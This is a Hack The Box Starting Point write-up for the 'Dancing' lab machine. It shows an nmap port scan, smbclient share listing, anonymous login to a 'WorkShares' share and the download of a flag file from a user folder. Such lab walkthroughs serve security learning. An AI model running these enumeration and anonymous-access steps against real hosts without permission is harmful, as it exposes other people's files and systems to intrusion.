

Hackthebox

Hack The Box :: Starting Point

Dancing

STEP 1: Discover the network

\$ nmap -Pn -p- -sV --open -T5 <IP>

```
Stats: 0:02:54 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 45.45% done; ETC: 17:05 (0:00:38 remaining)
Nmap scan report for 10.129.162.32
Host is up (0.092s latency).
Not shown: 65283 closed tcp ports (reset), 241 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp  open  msrpc        Microsoft Windows RPC
49665/tcp  open  msrpc        Microsoft Windows RPC
49666/tcp  open  msrpc        Microsoft Windows RPC
49667/tcp  open  msrpc        Microsoft Windows RPC
49668/tcp  open  msrpc        Microsoft Windows RPC
49669/tcp  open  msrpc        Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 198.96 seconds
```

There are a lot of open ports but let's focus on port **139, 445**

1- port 139 is for **NETBIOS**.

2- port 445 is for **SMB protocol**.

there may files are share.

STEP 2: smbclient

with this tool **smbclient** we can see if there any files are share.

\$ smbclient -L <IP>

```
(root@kali)-[/home/kali]
# smbclient -L 10.129.162.32
Password for [WORKGROUP\root]:

  Sharename      Type      Comment
  -----
  ADMIN$         Disk      Remote Admin
  C$             Disk      Default share
  IPC$           IPC       Remote IPC
  WorkShares     Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.162.32 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

As we see that there are 4 share files but we can access the **WorkShares** file without password because it does not have this tag \$

Let's test that:

\$ smbclient \\\\ <IP> \\ <filename>

```
(root@kali)-[/home/kali]
# smbclient \\\\10.129.162.32\\WorkShares
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> █
```

we login successful with the file WorkShare.

let's display the files found here:

\$ ls

```
(root@kali)-[/home/kali]
# smbclient \\\\10.129.162.32\\WorkShares
Password for [WORKGROUP\\root]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Mon Mar 29 04:22:01 2021
..               D newer  0 Mon Mar 29 04:22:01 2021
Amy.J            D          0 Mon Mar 29 05:08:24 2021
James.P          D          0 Thu Jun  3 04:38:03 2021

5114111 blocks of size 4096. 1732661 blocks available
smb: \> █
```

I already found two files here. Let's access each file and see the contents.

```
smb: \> cd Amy.J
smb: \Amy.J\> ls
.                D newer  0 Mon Mar 29 05:08:24 2021
..               D          0 Mon Mar 29 05:08:24 2021
worknotes.txt    A          94 Fri Mar 26 07:00:37 2021

5114111 blocks of size 4096. 1732661 blocks available
smb: \Amy.J\> cd ..
smb: \> cd James.P
smb: \James.P\> ls
.                D          0 Thu Jun  3 04:38:03 2021
..               D newer  0 Thu Jun  3 04:38:03 2021
flag.txt         A          32 Mon Mar 29 05:26:57 2021


5114111 blocks of size 4096. 1732661 blocks available
smb: \James.P\> █
```

I saw an interesting file here let's download it.

\$ get <filename>

```
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt
smb: \James.P\> █
```

```
(root@kali)-[/home/kali]  
# cat flag.txt
```



We found the flag by **exploiting the SMB protocol**.